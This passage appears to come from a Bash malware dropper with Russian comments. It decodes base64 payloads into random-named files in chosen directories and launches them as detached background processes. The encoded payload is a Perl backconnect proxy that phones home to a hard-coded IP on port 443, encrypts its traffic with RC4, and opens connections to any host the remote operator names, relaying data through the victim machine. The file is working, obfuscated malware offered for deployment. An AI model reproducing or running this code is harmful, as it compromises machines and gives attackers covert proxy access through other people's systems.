CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #18 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #18 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 19 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzM2LjI1NS45OC4xNzYnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr 